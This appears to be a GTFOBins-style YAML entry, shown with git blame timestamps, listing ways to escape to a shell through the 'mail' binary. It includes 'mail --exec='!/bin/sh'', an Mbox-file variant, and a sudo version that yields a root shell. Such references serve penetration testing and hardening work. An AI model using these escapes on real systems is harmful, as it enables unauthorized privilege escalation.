2018-05-29 18:34:56 +00:00
|
|
|
---
|
|
|
|
functions:
|
2018-10-05 17:55:38 +00:00
|
|
|
shell:
|
2019-02-19 10:27:35 +00:00
|
|
|
- description: GNU version only.
|
|
|
|
code: mail --exec='!/bin/sh'
|
2018-07-16 13:01:50 +00:00
|
|
|
- description: This creates a valid Mbox file which may be required by the binary.
|
|
|
|
code: |
|
|
|
|
TF=$(mktemp)
|
|
|
|
echo "From nobody@localhost $(date)" > $TF
|
|
|
|
mail -f $TF
|
|
|
|
!/bin/sh
|
2018-10-05 17:55:38 +00:00
|
|
|
sudo:
|
2019-02-19 10:27:35 +00:00
|
|
|
- description: GNU version only.
|
|
|
|
code: sudo mail --exec='!/bin/sh'
|
2018-05-29 18:34:56 +00:00
|
|
|
---
|